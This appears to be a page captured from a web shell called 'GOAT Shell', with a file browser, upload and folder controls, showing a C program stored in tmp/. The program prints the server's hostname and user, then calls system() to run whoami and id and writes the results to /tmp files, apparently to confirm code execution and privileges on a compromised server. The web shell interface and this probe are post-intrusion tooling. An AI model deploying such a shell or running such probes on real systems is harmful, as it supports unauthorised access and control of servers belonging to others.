🐐 GOAT Shell

Current path: tmp/



⬆️ Go up:

📄 Viewing: test_program.c

#include <stdio.h>
#include <stdlib.h>
int main() {
    printf("=== COMPILATION SUCCESS ===\n");
    printf("Server: %s\n", getenv("HOSTNAME"));
    printf("User: %s\n", getenv("USER"));
    printf("Time: %s\n", __TIME__);
    
    // Test system command execution
    system("whoami > /tmp/whoami_result.txt");
    system("id > /tmp/id_result.txt");
    
    printf("Check files: /tmp/whoami_result.txt and /tmp/id_result.txt\n");
    return 0;
}


📤 Upload File


📁 Create Folder